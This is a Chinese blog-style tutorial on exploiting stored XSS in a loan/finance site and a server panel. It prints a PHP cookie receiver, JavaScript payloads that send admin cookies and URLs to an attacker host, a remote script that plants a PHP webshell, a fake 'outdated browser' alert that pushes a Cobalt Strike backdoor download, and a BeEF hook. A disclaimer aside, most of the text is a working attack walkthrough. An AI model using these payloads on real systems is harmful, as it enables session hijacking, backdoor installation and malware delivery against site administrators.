Web 安全入门:XSS 漏洞原理与防护学习笔记 [ OWASP Top10 漏洞原理学习(仅用于合规测试)]

本文为个人学习与实战过程中的思路总结,旨在分享技术探索经验,若有疏漏之处,欢迎交流指正。

漏洞测试须在合法授权环境进行,可使用自己搭建的靶场或获书面授权的目标系统,否则将担法律责任。

阅读文章请遵守本文《法律与责任声明》

XSS跨站-获取凭据

演示:(白盒)

某贷款分配系统存储XSS利用

这是其网站首页

然后可以访问后台

安全漏洞产生在提现申请中

我们可以通过数据库先给某个账号设置一下金额

修改完后保存刷新,然后我登录该用户

我们进行提现

然后会跳转到这个界面我们随便输入一个44444

提交后我们去刷新后台看数据,然后就会看到提现申请中多了刚刚申请的内容,结算账号就会显示我们刚刚写的结算账号,然后对应的结算金额

然后此处我们尝试安全注入

提现输入结算账号后再加入安全payload,此处先只是验证alert弹窗

复制代码
<>alert(1)<>

我们可以看下数据库中

然后在管理员界面模拟触发脚本,重新访问提现申请记录就会弹窗

但结算账号上只是单纯的写了44444并没有显示脚本

我们可用看源码其实是有脚本的

然后现在我们就可以尝试性的进行后续安全测试,我们的目的不只是让其弹窗

条件:

无防护Cookie凭据获取

利用:

有两种利用方式,使用XSS平台或手写代码

我们先在开发者控制台中看一下cookie和url

获取cookie

获取当前页面地址

手工:

先写一个用于接收数据的代码:

复制代码
核心代码

$x'x'x'x=$_GET['u'];

$xxxx=$_GET['c'];

$fp = fopen('cookie.txt',"a");

fwrite($fp,$url."|".$cookie."\n");

我们放在自己的某网站目录下

然后写获取cookie的安全脚本

这是一段典型的跨站脚本测试(XSS)配套 Cookie 获取脚本,常用于网络安全测试中,获取用户的登录凭证。

接收受害者浏览器通过 XSS 脚本发送的 Cookie 数据,并持久化存储到服务器的cookie.txt文件中,实现获取凭证。

也就是说我们要把这个脚本写到目标网站数据库,当管理员意外触发脚本后会自动获取其cookie和url到我们指定的网站目录(我们搭的外网某网站,专门接收返回的数据)

脚本:

复制代码
<>var url='http://xx.xx.xx.xx/getcookie.php?u='+window.location.href+'&c='+document.cookie;document.write("<img src="+url+" />");</>

然后我们按照刚刚xss注入的方法将其注入到结算账号中

在后台可以看到注入成功了,已经显示在数据库

然后我们模拟管理员刷新访问提现申请界面

可以发现script代码一定是成功了,因为都显示出来图片了,大概就是被解析了

在我们接收数据的地方去看

然后就可以看到cookie文件中获取的信息

但突然发现脚本有问题,只获取了1888888cookie值并没有获取完善

应该是脚本的问题我ai改一改

复制代码
<>var url='http://xxxxxxxxx/getcookie.php?u='+encodeURIComponent(window.location.href)+'&c='+encodeURIComponent(document.cookie);var img=new Image();img.src=url;</>

成功

然后我们此时就有了cookie的值和url就可以模拟利用cookie登录该网站


当我把里面的值改为我刚刚获取的值,然后把url改为我刚刚获取的url直接访问后台

整个过程总结就是验证了xss安全漏洞的存在,然后将安全脚本注入等待管理员触发,当管理员触发后通过获取网站管理员cookie和url返回到指定地点,然后利用cookie和url绕过登录管理员后台

平台:

利用XSSReceiver平台来获取

这个项目的标准中文名是蓝莲花,全称为蓝莲花 XSS 接收平台。

该项目源自清华大学蓝莲花战队(BlueLotus Team),是其开源的 XSS 实战检测与数据分析平台。战队曾获多项国际顶级网络安全竞赛冠军,因此该平台在圈内极具权威性。

核心功能

它是一款专门用于 Web 安全测试 的开源工具,核心作用是:

  • 接收 XSS 攻击数据:当受害者触发 XSS 安全漏洞时,平台实时捕获 Cookie、页面 URL、本地存储等敏感信息。
  • 可视化管理:提供日志展示、溯源、获取信息辅助等功能,方便安全人员复盘与利用安全漏洞。

搭建:


登录

点击左侧我的js

点击下方的添加

这里可以选择模板,我们可以到模板页面看一下

我们只需要使用默认基础模板default.xss

然后修改模板中的地址,此处注意地址要改对路径/目录,要改到此平台根目录

此处注意搞这些名称什么的最好不要带空格或者什么符号,容易出错

然后点击下方的新增按钮

然后再点击生成安全payload

正常就使用默认给的这个就行

右边的都是加一些编码方式,是用于绕过,我们暂时不需要

复制这个安全payload,然后我们就可以使用这个安全payload按照刚刚同样的思路去进行xss注入

然后假设受害者触发我们的脚本

表面上平平无奇

实际以经触发了脚本

因为之前我们安装搭建这个平台的时候开通了某服务连接着某邮箱,所以一有情况就发来邮件

我们看平台内也有信息了

此处是因为目标机器在局域网的原因,假如是外网的就能看到外网的ip,位置等信息

XSS跨站-数据提交

上面演示是在没有cookie防护的基础上,当有cookie防护的话上面那个方法根本行不通,那么我们就需要使用现在要讲的这种方法

这种方法原理是

比如我们刚刚申请的那么多提现申请,管理员在点击同意后就会触发一个安全脚本,而我们以及在代码中写了脚本

举个例:

在某处用户管理中,可以添加会员,我们在添加会员的过程中抓包,然后模仿包的内容,然后注入安全脚本,通过某种方法,当管理员点击后触发就自动创建了一个用户

这就是想干某事,在没有获取cookie的情况下就可以让管理员帮你干某事

条件:

熟悉后台业务功能数据包(知道是怎么提交的数据),利用安全脚本写一个模拟提交

利用:

凭据获取不到或有防护无法利用凭据进入时执行其他(就是我们说的获取不到cookie)

演示:

某面板系统存储XSS提交数据包模拟写入后门文件

此处我们先看一下文件

我们的目的就是在文件某目录下创建一个1.php来让我们能够连接

所以这个安全漏洞就体现出我们对该网站后台业务逻辑功能的了解,我们可以假装新建文件看看数据包

然后看数据包,我们还需要对这个数据包有一定的了解方便我们构造脚本文件

构造好脚本后然后我们利用xss注入漏洞来注入脚本

复制代码
<xxxxx src="http://xxxxxxx/poc1.js"></xxxxxx>

然后我们登录进去看

然后这个php中放了我们的一句话

然后我们就可以去使用后门连接

根据这个后门代码去用相应的连接工具

XSS跨站-部署可访问页面

1、部署可访问的页面并修改

我搞了一个xxxxxxx的页面

我们直接phpstudy中运行,本地访问网站,点击立即下载就会下载后门

我们可以修改修改里面的脚本什么的

2、注入XSS代码等待目标触发

此处我们可以还是使用那个理财网站

我们可以先使用cs生成一个后门放到某个地方

然后写脚本,里面写上我们后面的地址让目标网站访问

复制代码
<xxxxx>alert('当前浏览器xxxxx版本过低,请下载升级!');location.href='http://x.x.x.x/xxxx.exe'</xxxxxx>

其实可以不用写跳转连接跳转到我们的钓鱼网站,都已经可以注入了直接让目标下载也可以

然后就会出现下载界面

XSS跨站-溯源综合

浏览器控制框架-beef-xss

只需执行JS文件,即可实现对当前浏览器的控制,可配合各类手法利用

利用:

复制代码
<xxxxxx src="http://(服务器外网ip):3000/hook.js"></xxxxx>

我们还是使用刚刚的骑士财金融网站

先把数据库中的安全脚本删掉,方便我们注入新的安全脚本

此处我们先搭一下beef


然后浏览器访问

http://(服务器外网ip)/ui/panel (账号密码:beef/beef)


然后重新在结算中注入安全脚本(记得改ip,记得还有端口),然后目标访问提现申请触发脚本

然后在beef中就能看到上线

然后右侧有很多功能,可以自己去学习研究!

本篇完 | 实践出真知,交流共进步

每一篇文章都是一次沉淀,感谢你的阅读。技术没有捷径,唯有不断积累、不断输出。期待下次继续与你分享更多实战经验,一起前行。

《法律与责任声明》

本内容仅用于网络安全漏洞的技术研究、学习与交流。

一、合法性要求

  • 严格遵守《中华人民共和国网络安全法》及相关法律法规,严禁将所学技术用于非法活动,如未经授权的攻击、窃取信息等。例如,不得对未授权的真实生产环境网站做漏洞测试。
  • 漏洞测试须在合法授权环境进行,可使用自己搭建的靶场或获书面授权的目标系统,否则将担法律责任。

二、风险与责任

  • 若因参考本内容对第三方造成损失,本人不承担法律责任,使用者自行担责。

三、传播限制

  • 禁止将本内容用于恶意传播,如制作恶意教程、培训非法黑客组织,应维护良好网络安全环境。
  • 发现有人利用本内容非法活动,应及时举报。

四、版权声明

本文为本人独立创作,有完整知识产权。未经书面许可,任何单位或个人不得转载、复制或以其他方式使用,违者依法追责。

阅读并使用本文章内容即表示同意声明条款

相关推荐
kilito_013 小时前
vue 例子
前端·javascript·vue.js
小沐°3 小时前
vue-axios携带不同参数的总结
前端·javascript·vue.js
三声三视3 小时前
鸿蒙 ArkTS 网络请求实战:从 HTTP 到 Axios 封装,打造生产级请求层
网络·http·axios·harmonyos·网络封装
Pixlout3 小时前
关于7元算子演算技术的个人笔记
ide·笔记·硬件工程
DJ斯特拉3 小时前
Vue快速上手
前端·javascript·vue.js
网安老伯3 小时前
护网行动防守实战:Web应用XSS漏洞应急处置与防护体系搭建_护网行动web应用
linux·运维·服务器·前端·web安全·网络安全·xss
呦呦鹿鸣Rzh3 小时前
ngnix部署前端
前端
SoaringHeart3 小时前
Flutter组件封装:Sliver 中的 Container 对应组件NSliverContainer
前端·flutter
中屹指纹浏览器3 小时前
2026浏览器指纹追踪与反追踪技术深度解析:从风控原理到安全实践
经验分享·笔记